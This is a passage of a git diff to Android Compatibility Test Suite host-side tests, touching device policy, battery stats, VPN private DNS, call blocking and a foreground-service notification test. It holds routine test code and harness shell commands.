+            dpm.isSeparateProfileChallengeAllowed(0); /* Try to use USER_SYSTEM */
+            fail("The user must be system to call isSeparateProfileChallengeAllowed().");
+        } catch (SecurityException ignore) {
+            // That's what we want!
+        } catch (NoSuchMethodError err) {
+            // API unavailable - pass
+        }
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java
index 67fa271..7c7f94b 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java
+++ b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java
@@ -23,9 +23,7 @@
 import android.app.Service;
 import android.content.Intent;
 import android.os.Binder;
-import android.os.Handler;
 import android.os.IBinder;
-import android.os.Looper;
 import android.os.Parcel;
 import android.os.Process;
 import android.os.RemoteException;
@@ -45,9 +43,7 @@
                 throws RemoteException {
             switch (code) {
                 case FIRST_CALL_TRANSACTION:
-                    new Handler(Looper.getMainLooper()).post( () -> {
-                         Process.killProcess(Process.myPid());
-                     });
+                    Process.killProcess(Process.myPid());
                     return true;
             }
             return super.onTransact(code, data, reply, flags);
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java
index 65c952f..f39dbbe 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/src/com/android/cts/transferowner/TransferDeviceOwnerIncomingTest.java
@@ -38,7 +38,7 @@
         assertEquals(Collections.singletonList("test.package"),
                 mDevicePolicyManager.getKeepUninstalledPackages(mIncomingComponentName));
         assertEquals(123, mDevicePolicyManager.getPasswordMinimumLength(mIncomingComponentName));
-        assertSystemPoliciesEqual(SystemUpdatePolicy.createPostponeInstallPolicy(),
+        assertSystemPoliciesEqual(SystemUpdatePolicy.createWindowedInstallPolicy(123, 456),
                 mDevicePolicyManager.getSystemUpdatePolicy());
         assertThrows(SecurityException.class, () -> {
             mDevicePolicyManager.getParentProfileInstance(mIncomingComponentName);
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java
index ce8736f..b42b2bd 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java
+++ b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/src/com/android/cts/transferowner/TransferDeviceOwnerOutgoingTest.java
@@ -47,7 +47,7 @@
         mDevicePolicyManager.setKeepUninstalledPackages(mOutgoingComponentName,
                 Collections.singletonList("test.package"));
         mDevicePolicyManager.setSystemUpdatePolicy(mOutgoingComponentName,
-                SystemUpdatePolicy.createPostponeInstallPolicy());
+                SystemUpdatePolicy.createWindowedInstallPolicy(123, 456));
 
         PersistableBundle b = new PersistableBundle();
         mDevicePolicyManager.transferOwnership(mOutgoingComponentName, INCOMING_COMPONENT_NAME, b);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index 2b324e7..83e8de2 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -573,10 +573,6 @@
             // Reboot while in kiosk mode and then unlock the device
             rebootAndWaitUntilReady();
 
-            // Make sure that the LockTaskUtilityActivityIfWhitelisted was started.
-            runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest",
-                    "testLockTaskIsActive", mPrimaryUserId);
-
             // Try to open settings via adb
             executeShellCommand("am start -a android.settings.SETTINGS");
 
@@ -627,8 +623,7 @@
         if (!mHasFeature) {
             return;
         }
-        // Disabled due to 145932189
-        // executeDeviceOwnerTest("SystemUpdatePolicyTest");
+        executeDeviceOwnerTest("SystemUpdatePolicyTest");
     }
 
     public void testWifiConfigLockdown() throws Exception {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
index 0b8cc41..d551872 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
@@ -297,12 +297,10 @@
     }
 
     private void simulateUserInteraction(int timeMs) throws Exception {
-        final long endTime = System.nanoTime() + TimeUnit.MILLISECONDS.toNanos(timeMs);
         final UserActivityEmulator helper = new UserActivityEmulator(getDevice());
-        while (System.nanoTime() < endTime) {
+        for (int i = 0; i < timeMs; i += timeMs/10) {
+            Thread.sleep(timeMs/10);
             helper.tapScreenCenter();
-            // Just in case to prevent busy loop.
-            Thread.sleep(100);
         }
     }
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/SeparateProfileChallengeTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/SeparateProfileChallengeTest.java
new file mode 100644
index 0000000..ef5e7c3
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/SeparateProfileChallengeTest.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import android.platform.test.annotations.SecurityTest;
+
+/**
+ * Host side tests for separate profile challenge permissions.
+ * Run the CtsSeparateProfileChallengeApp device side test.
+ */
+
+public class SeparateProfileChallengeTest extends BaseDevicePolicyTest {
+    private static final String SEPARATE_PROFILE_PKG = "com.android.cts.separateprofilechallenge";
+    private static final String SEPARATE_PROFILE_APK = "CtsSeparateProfileChallengeApp.apk";
+    private static final String SEPARATE_PROFILE_TEST_CLASS =
+        ".SeparateProfileChallengePermissionsTest";
+    private String mPreviousHiddenApiPolicy = "0";
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        setHiddenApiPolicyOn();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        removeTestUsers();
+        getDevice().uninstallPackage(SEPARATE_PROFILE_PKG);
+        setHiddenApiPolicyPreviousOrOff();
+        super.tearDown();
+    }
+
+    @SecurityTest
+    public void testSeparateProfileChallengePermissions() throws Exception {
+        if (!mHasFeature || !mSupportsMultiUser) {
+            return;
+        }
+
+        // Create managed profile.
+        final int profileUserId = createManagedProfile(mPrimaryUserId);
+        // createManagedProfile doesn't start the user automatically.
+        startUser(profileUserId);
+        installAppAsUser(SEPARATE_PROFILE_APK, profileUserId);
+        executeSeparateProfileChallengeTest(profileUserId);
+    }
+
+    protected void setHiddenApiPolicyOn() throws Exception {
+        mPreviousHiddenApiPolicy = getDevice().executeShellCommand(
+                "settings get global hidden_api_policy_p_apps");
+        executeShellCommand("settings put global hidden_api_policy_p_apps 1");
+    }
+
+    protected void setHiddenApiPolicyPreviousOrOff() throws Exception {
+        executeShellCommand("settings put global hidden_api_policy_p_apps "
+            + mPreviousHiddenApiPolicy);
+    }
+
+    private void executeSeparateProfileChallengeTest(int userId) throws Exception {
+        runDeviceTestsAsUser(SEPARATE_PROFILE_PKG, SEPARATE_PROFILE_TEST_CLASS, userId);
+    }
+}
diff --git a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
index e35841b..bbdcb08 100644
--- a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
@@ -42,6 +42,7 @@
 
     // These constants are those in PackageManager.
     public static final String FEATURE_BLUETOOTH_LE = "android.hardware.bluetooth_le";
+    public static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
     public static final String FEATURE_LOCATION_GPS = "android.hardware.location.gps";
 
     private static final int STATE_TIME_TOP_INDEX = 4;
@@ -135,9 +136,6 @@
     }
 
     public void testAlarms() throws Exception {
-        if (noBattery()) {
-            return;
-        }
         batteryOnScreenOff();
 
         installPackage(DEVICE_SIDE_TEST_APK, /* grantPermissions= */ true);
@@ -151,9 +149,6 @@
     }
 
     public void testWakeLockDuration() throws Exception {
-        if (noBattery()) {
-            return;
-        }
         batteryOnScreenOff();
 
         installPackage(DEVICE_SIDE_TEST_APK, /* grantPermissions= */ true);
@@ -176,9 +171,6 @@
     }
 
     public void testServiceForegroundDuration() throws Exception {
-        if (noBattery()) {
-            return;
-        }
         batteryOnScreenOff();
         installPackage(DEVICE_SIDE_TEST_APK, true);
 
@@ -194,9 +186,6 @@
     }
 
     public void testUidForegroundDuration() throws Exception {
-        if (noBattery()) {
-            return;
-        }
         batteryOnScreenOff();
         installPackage(DEVICE_SIDE_TEST_APK, true);
         // No foreground time before test
@@ -210,9 +199,6 @@
     }
 
     public void testUidBackgroundDuration() throws Exception {
-        if (noBattery()) {
-            return;
-        }
         batteryOnScreenOff();
         installPackage(DEVICE_SIDE_TEST_APK, true);
         // No background time before test
@@ -223,9 +209,6 @@
     }
 
     public void testTopDuration() throws Exception {
-        if (noBattery()) {
-            return;
-        }
         batteryOnScreenOff();
         installPackage(DEVICE_SIDE_TEST_APK, true);
         // No top time before test
@@ -238,9 +221,6 @@
     }
 
     public void testCachedDuration() throws Exception {
-        if (noBattery()) {
-            return;
-        }
         batteryOnScreenOff();
         installPackage(DEVICE_SIDE_TEST_APK, true);
         // No cached time before test
@@ -291,7 +271,7 @@
     }
 
     public void testBleScans() throws Exception {
-        if (noBattery() || !hasFeature(FEATURE_BLUETOOTH_LE, true)) {
+        if (isTV() || !hasFeature(FEATURE_BLUETOOTH_LE, true)) {
             return;
         }
 
@@ -315,7 +295,7 @@
 
 
     public void testUnoptimizedBleScans() throws Exception {
-        if (noBattery() || !hasFeature(FEATURE_BLUETOOTH_LE, true)) {
+        if (isTV() || !hasFeature(FEATURE_BLUETOOTH_LE, true)) {
             return;
         }
         batteryOnScreenOff();
@@ -366,7 +346,7 @@
     }
 
     public void testGpsUpdates() throws Exception {
-        if (noBattery() || !hasFeature(FEATURE_LOCATION_GPS, true)) {
+        if (isTV() || !hasFeature(FEATURE_LOCATION_GPS, true)) {
             return;
         }
 
@@ -393,7 +373,7 @@
     }
 
     public void testJobBgVsFg() throws Exception {
-        if (noBattery()) {
+        if (isTV()) {
             return;
         }
         batteryOnScreenOff();
@@ -416,7 +396,7 @@
     }
 
     public void testSyncBgVsFg() throws Exception {
-        if (noBattery()) {
+        if (isTV()) {
             return;
         }
         batteryOnScreenOff();
@@ -444,9 +424,6 @@
      * are properly updated in battery stats.
      */
     public void testRealtime() throws Exception {
-        if (noBattery()) {
-            return;
-        }
         batteryOnScreenOff();
         long startingValueRealtime = getLongValue(0, "bt", "", 7);
         long startingValueBatteryRealtime = getLongValue(0, "bt", "", 5);
@@ -472,9 +449,6 @@
      * Tests the total duration reported for jobs run on the job scheduler.
      */
     public void testJobDuration() throws Exception {
-        if (noBattery()) {
-            return;
-        }
         batteryOnScreenOff();
 
         installPackage(DEVICE_SIDE_TEST_APK, true);
@@ -493,9 +467,6 @@
      * Tests the total duration and # of syncs reported for sync activities.
      */
     public void testSyncs() throws Exception {
-        if (noBattery()) {
-            return;
-        }
         batteryOnScreenOff();
 
         installPackage(DEVICE_SIDE_TEST_APK, true);
@@ -653,14 +624,9 @@
         return String.format("Completed performing %s for request %s", actionValue, requestCode);
     }
 
-    /** Determine if device has no battery and is not expected to have proper batterystats. */
-    private boolean noBattery() throws Exception {
-        final String batteryinfo = getDevice().executeShellCommand("dumpsys battery");
-        boolean hasBattery = batteryinfo.contains("present: true");
-        if (!hasBattery) {
-            LogUtil.CLog.w("Device does not have a battery");
-        }
-        return !hasBattery;
+    /** Determine if device is just a TV and is not expected to have proper batterystats. */
+    private boolean isTV() throws Exception {
+        return hasFeature(FEATURE_LEANBACK_ONLY, false);
     }
 
     /**
diff --git a/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
index 1d63d6f..dd7a448 100644
--- a/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
@@ -66,8 +66,8 @@
         int jankyDelta = summaryAfter.getJankyFrames() - summaryBefore.getJankyFrames();
         // We expect 11 frames to have been drawn (first frame + the 10 more explicitly requested)
         assertTrue(frameDelta >= 11);
-        assertTrue(jankyDelta >= 0);
-        assertTrue(jankyDelta <= frameDelta);
+        assertTrue(jankyDelta >= 1);
+        int veryJankyDelta = countFramesAbove(statsAfter, 40) - countFramesAbove(statsBefore, 40);
     }
 
     public void testJankyDrawFrame() throws Exception {
diff --git a/hostsidetests/net/app/Android.mk b/hostsidetests/net/app/Android.mk
index 11f6bb1..6d89e58 100644
--- a/hostsidetests/net/app/Android.mk
+++ b/hostsidetests/net/app/Android.mk
@@ -19,8 +19,7 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE_TAGS := tests
-#LOCAL_SDK_VERSION := current
-LOCAL_PRIVATE_PLATFORM_APIS := true
+LOCAL_SDK_VERSION := current
 LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt ub-uiautomator \
         CtsHostsideNetworkTestsAidl
 
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java
index c3962fb..599a31c 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java
@@ -22,9 +22,6 @@
 
 import android.util.Log;
 
-import com.android.compatibility.common.util.CddTest;
-
-@CddTest(requirement="7.4.7/C-1-1,H-1-1,C-2-1")
 public class DataSaverModeTest extends AbstractRestrictBackgroundNetworkTestCase {
 
     private static final String[] REQUIRED_WHITELISTED_PACKAGES = {
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
index b3f61c4..a406d7a 100755
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
@@ -18,6 +18,7 @@
 
 import static android.system.OsConstants.*;
 
+import android.content.ContentResolver;
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.net.ConnectivityManager;
@@ -27,9 +28,9 @@
 import android.net.NetworkCapabilities;
 import android.net.NetworkRequest;
 import android.net.VpnService;
+import android.provider.Settings;
 import android.os.ParcelFileDescriptor;
 import android.os.Process;
-import android.os.SystemProperties;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject;
 import android.support.test.uiautomator.UiObjectNotFoundException;
@@ -63,8 +64,12 @@
 import java.net.ServerSocket;
 import java.net.Socket;
 import java.net.SocketException;
+import java.net.UnknownHostException;
 import java.nio.charset.StandardCharsets;
+import java.util.Objects;
 import java.util.Random;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 
 /**
  * Tests for the VpnService API.
@@ -93,6 +98,13 @@
  */
 public class VpnTest extends InstrumentationTestCase {
 
+    // These are neither public nor @TestApi.
+    // TODO: add them to @TestApi.
+    private static final String PRIVATE_DNS_MODE_SETTING = "private_dns_mode";
+    private static final String PRIVATE_DNS_MODE_PROVIDER_HOSTNAME = "hostname";
+    private static final String PRIVATE_DNS_MODE_OPPORTUNISTIC = "opportunistic";
+    private static final String PRIVATE_DNS_SPECIFIER_SETTING = "private_dns_specifier";
+
     public static String TAG = "VpnTest";
     public static int TIMEOUT_MS = 3 * 1000;
     public static int SOCKET_TIMEOUT_MS = 100;
@@ -109,6 +121,9 @@
     final Object mLock = new Object();
     final Object mLockShutdown = new Object();
 
+    private String mOldPrivateDnsMode;
+    private String mOldPrivateDnsSpecifier;
+
     private boolean supportedHardware() {
         final PackageManager pm = getInstrumentation().getContext().getPackageManager();
         return !pm.hasSystemFeature("android.hardware.type.watch");
@@ -120,6 +135,7 @@
 
         mNetwork = null;
         mCallback = null;
+        storePrivateDnsSetting();
 
         mDevice = UiDevice.getInstance(getInstrumentation());
         mActivity = launchActivity(getInstrumentation().getTargetContext().getPackageName(),
@@ -133,6 +149,7 @@
 
     @Override
     public void tearDown() throws Exception {
+        restorePrivateDnsSetting();
         mRemoteSocketFactoryClient.unbind();
         if (mCallback != null) {
             mCM.unregisterNetworkCallback(mCallback);
@@ -536,16 +553,97 @@
         }
     }
 
+    private ContentResolver getContentResolver() {
+        return getInstrumentation().getContext().getContentResolver();
+    }
+
+    private boolean isPrivateDnsInStrictMode() {
+        return PRIVATE_DNS_MODE_PROVIDER_HOSTNAME.equals(
+                Settings.Global.getString(getContentResolver(), PRIVATE_DNS_MODE_SETTING));
+    }
+
+    private void storePrivateDnsSetting() {
+        mOldPrivateDnsMode = Settings.Global.getString(getContentResolver(),
+                PRIVATE_DNS_MODE_SETTING);
+        mOldPrivateDnsSpecifier = Settings.Global.getString(getContentResolver(),
+                PRIVATE_DNS_SPECIFIER_SETTING);
+    }
+
+    private void restorePrivateDnsSetting() {
+        Settings.Global.putString(getContentResolver(), PRIVATE_DNS_MODE_SETTING,
+                mOldPrivateDnsMode);
+        Settings.Global.putString(getContentResolver(), PRIVATE_DNS_SPECIFIER_SETTING,
+                mOldPrivateDnsSpecifier);
+    }
+
+    // TODO: replace with CtsNetUtils.awaitPrivateDnsSetting in Q or above.
+    private void expectPrivateDnsHostname(final String hostname) throws Exception {
+        final NetworkRequest request = new NetworkRequest.Builder()
+                .removeCapability(NetworkCapabilities.NET_CAPABILITY_NOT_VPN)
+                .build();
+        final CountDownLatch latch = new CountDownLatch(1);
+        final NetworkCallback callback = new NetworkCallback() {
+            @Override
+            public void onLinkPropertiesChanged(Network network, LinkProperties lp) {
+                if (network.equals(mNetwork) &&
+                        Objects.equals(lp.getPrivateDnsServerName(), hostname)) {
+                    latch.countDown();
+                }
+            }
+        };
+
+        mCM.registerNetworkCallback(request, callback);
+
+        try {
+            assertTrue("Private DNS hostname was not " + hostname + " after " + TIMEOUT_MS + "ms",
+                    latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            mCM.unregisterNetworkCallback(callback);
+        }
+    }
+
+    private void setAndVerifyPrivateDns(boolean strictMode) throws Exception {
+        final ContentResolver cr = getInstrumentation().getContext().getContentResolver();
+        String privateDnsHostname;
+
+        if (strictMode) {
+            privateDnsHostname = "vpncts-nx.metric.gstatic.com";
+            Settings.Global.putString(cr, PRIVATE_DNS_SPECIFIER_SETTING, privateDnsHostname);
+            Settings.Global.putString(cr, PRIVATE_DNS_MODE_SETTING,
+                    PRIVATE_DNS_MODE_PROVIDER_HOSTNAME);
+        } else {
+            Settings.Global.putString(cr, PRIVATE_DNS_MODE_SETTING, PRIVATE_DNS_MODE_OPPORTUNISTIC);
+            privateDnsHostname = null;
+        }
+
+        expectPrivateDnsHostname(privateDnsHostname);
+
+        String randomName = "vpncts-" + new Random().nextInt(1000000000) + "-ds.metric.gstatic.com";
+        if (strictMode) {
+            // Strict mode private DNS is enabled. DNS lookups should fail, because the private DNS
+            // server name is invalid.
+            try {
+                InetAddress.getByName(randomName);
+                fail("VPN DNS lookup should fail with private DNS enabled");
+            } catch (UnknownHostException expected) {
+            }
+        } else {
+            // Strict mode private DNS is disabled. DNS lookup should succeed, because the VPN
+            // provides no DNS servers, and thus DNS falls through to the default network.
+            assertNotNull("VPN DNS lookup should succeed with private DNS disabled",
+                    InetAddress.getByName(randomName));
+        }
+    }
+
+    // Tests that strict mode private DNS is used on VPNs.
+    private void checkStrictModePrivateDns() throws Exception {
+        final boolean initialMode = isPrivateDnsInStrictMode();
+        setAndVerifyPrivateDns(!initialMode);
+        setAndVerifyPrivateDns(initialMode);
+    }
+
     public void testDefault() throws Exception {
         if (!supportedHardware()) return;
-        // If adb TCP port opened, this test may running by adb over network.
-        // All of socket would be destroyed in this test. So this test don't
-        // support adb over network, see b/119382723.
-        if (SystemProperties.getInt("persist.adb.tcp.port", -1) > -1
-                || SystemProperties.getInt("service.adb.tcp.port", -1) > -1) {
-            Log.i(TAG, "adb is running over the network, so skip this test");
-            return;
-        }
 
         FileDescriptor fd = openSocketFdInOtherApp(TEST_HOST, 80, TIMEOUT_MS);
 
@@ -556,6 +654,8 @@
         assertSocketClosed(fd, TEST_HOST);
 
         checkTrafficOnVpn();
+
+        checkStrictModePrivateDns();
     }
 
     public void testAppAllowed() throws Exception {
@@ -563,7 +663,6 @@
 
         FileDescriptor fd = openSocketFdInOtherApp(TEST_HOST, 80, TIMEOUT_MS);
 
-        // Shell app must not be put in here or it would kill the ADB-over-network use case
         String allowedApps = mRemoteSocketFactoryClient.getPackageName() + "," + mPackageName;
         startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
                  new String[] {"192.0.2.0/24", "2001:db8::/32"},
@@ -572,6 +671,8 @@
         assertSocketClosed(fd, TEST_HOST);
 
         checkTrafficOnVpn();
+
+        checkStrictModePrivateDns();
     }
 
     public void testAppDisallowed() throws Exception {
@@ -581,12 +682,6 @@
         FileDescriptor remoteFd = openSocketFdInOtherApp(TEST_HOST, 80, TIMEOUT_MS);
 
         String disallowedApps = mRemoteSocketFactoryClient.getPackageName() + "," + mPackageName;
-        // If adb TCP port opened, this test may running by adb over TCP.
-        // Add com.android.shell appllication into blacklist to exclude adb socket for VPN test,
-        // see b/119382723.
-        // Note: The test don't support running adb over network for root device
-        disallowedApps = disallowedApps + ",com.android.shell";
-        Log.i(TAG, "Append shell app to disallowedApps: " + disallowedApps);
         startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
                  new String[] {"192.0.2.0/24", "2001:db8::/32"},
                  "", disallowedApps);
diff --git a/hostsidetests/numberblocking/app/Android.mk b/hostsidetests/numberblocking/app/Android.mk
index a84d11c..08bf132 100644
--- a/hostsidetests/numberblocking/app/Android.mk
+++ b/hostsidetests/numberblocking/app/Android.mk
@@ -27,7 +27,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/hostsidetests/numberblocking/app/src/com/android/cts/numberblocking/hostside/CallBlockingTest.java b/hostsidetests/numberblocking/app/src/com/android/cts/numberblocking/hostside/CallBlockingTest.java
index c23ba84..674dab2 100644
--- a/hostsidetests/numberblocking/app/src/com/android/cts/numberblocking/hostside/CallBlockingTest.java
+++ b/hostsidetests/numberblocking/app/src/com/android/cts/numberblocking/hostside/CallBlockingTest.java
@@ -29,8 +29,6 @@
 import android.telecom.PhoneAccountHandle;
 import android.telecom.TelecomManager;
 
-import com.android.compatibility.common.util.CddTest;
-
 import java.util.Arrays;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
@@ -38,7 +36,6 @@
 /**
  * Tests call blocking in a multi-user environment.
  */
-@CddTest(requirement="7.4.1.1/C-1-1")
 public class CallBlockingTest extends BaseNumberBlockingClientTest {
     private static final String QUERY_CALL_THROUGH_OUR_CONNECTION_SERVICE = CallLog.Calls.NUMBER
             + " = ? AND " + CallLog.Calls.PHONE_ACCOUNT_COMPONENT_NAME + " = ?";
@@ -68,7 +65,6 @@
         assertNull(mTelecomManager.getPhoneAccount(getPhoneAccountHandle()));
     }
 
-    @CddTest(requirement="7.4.1.1/C-1-3,C-1-4")
     public void testIncomingCallFromBlockedNumberIsRejected() throws Exception {
         // Make sure no lingering values from previous runs.
         cleanupCall(false /* verifyNoCallLogsWritten */);
diff --git a/hostsidetests/os/app/AndroidManifest.xml b/hostsidetests/os/app/AndroidManifest.xml
index fa9d9ae..88791ea 100755
--- a/hostsidetests/os/app/AndroidManifest.xml
+++ b/hostsidetests/os/app/AndroidManifest.xml
@@ -19,9 +19,16 @@
     package="android.os.app"
     android:targetSandboxVersion="2">
 
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
+
     <application>
         <activity android:name=".TestNonExported"
                 android:exported="false" />
+
+        <service android:name=".TestFgService"
+                android:exported="true" />
+
     </application>
+
 </manifest>
 
diff --git a/hostsidetests/os/app/src/android/os/app/TestFgService.java b/hostsidetests/os/app/src/android/os/app/TestFgService.java
new file mode 100644
index 0000000..3548105
--- /dev/null
+++ b/hostsidetests/os/app/src/android/os/app/TestFgService.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.app;
+
+import android.app.Notification;
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+import android.os.Process;
+import android.util.Log;
+
+public class TestFgService extends Service {
+    private static final String TAG = "TestFgService";
+
+    // intentionally invalid resource configuration
+    private static final int NOTIFICATION_ID = 5038;
+    private static final String CHANNEL = "fgservice";
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        Log.i(TAG, "onStartCommand() called");
+        Notification notification = new Notification.Builder(this, CHANNEL)
+                .setContentTitle("Foreground service")
+                .setContentText("Ongoing test app foreground service is live")
+                .setSmallIcon(NOTIFICATION_ID)
+                .build();
+
+        Log.i(TAG, "TestFgService starting foreground: pid=" + Process.myPid());
+        startForeground(NOTIFICATION_ID, notification);
+
+        return START_NOT_STICKY;
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/os/src/android/os/cts/OsHostTests.java b/hostsidetests/os/src/android/os/cts/OsHostTests.java
index c557c9e..8e3f5c5 100644
--- a/hostsidetests/os/src/android/os/cts/OsHostTests.java
+++ b/hostsidetests/os/src/android/os/cts/OsHostTests.java
@@ -22,14 +22,17 @@
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.result.InputStreamSource;
 import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.IAbiReceiver;
 import com.android.tradefed.testtype.IBuildReceiver;
 import com.android.tradefed.util.AbiUtils;
 
+import java.io.BufferedReader;
 import java.io.File;
 import java.io.FileNotFoundException;
+import java.io.InputStreamReader;
 import java.util.Arrays;
 import java.util.HashSet;
 import java.util.Scanner;
@@ -38,12 +41,19 @@
 
 public class OsHostTests extends DeviceTestCase implements IBuildReceiver, IAbiReceiver {
     private static final String TEST_APP_PACKAGE = "android.os.app";
-    private static final String TEST_NON_EXPORTED_ACTIVITY_CLASS = "TestNonExported";
 
+    private static final String TEST_NON_EXPORTED_ACTIVITY_CLASS = "TestNonExported";
     private static final String START_NON_EXPORTED_ACTIVITY_COMMAND = String.format(
             "am start -n %s/%s.%s",
             TEST_APP_PACKAGE, TEST_APP_PACKAGE, TEST_NON_EXPORTED_ACTIVITY_CLASS);
 
+    private static final String TEST_FG_SERVICE_CLASS = "TestFgService";
+    private static final String START_FG_SERVICE_COMMAND = String.format(
+            "am start-foreground-service -n %s/%s.%s",
+            TEST_APP_PACKAGE, TEST_APP_PACKAGE, TEST_FG_SERVICE_CLASS);
+    private static final String FILTER_FG_SERVICE_REGEXP =
+            "TestFgService starting foreground: pid=([0-9]*)";
+
     // Testing the intent filter verification mechanism
     private static final String HOST_VERIFICATION_APK = "CtsHostLinkVerificationApp.apk";
     private static final String HOST_VERIFICATION_PKG = "com.android.cts.openlinksskeleton";
@@ -104,6 +114,40 @@
         }
     }
 
+    /**
+     * Test behavior of malformed Notifications w.r.t. foreground services
+     * @throws Exception
+     */
+    @AppModeFull(reason = "Instant apps may not start foreground services")
+    public void testForegroundServiceBadNotification() throws Exception {
+        final Pattern pattern = Pattern.compile(FILTER_FG_SERVICE_REGEXP);
+
+        mDevice.clearLogcat();
+        mDevice.executeShellCommand(START_FG_SERVICE_COMMAND);
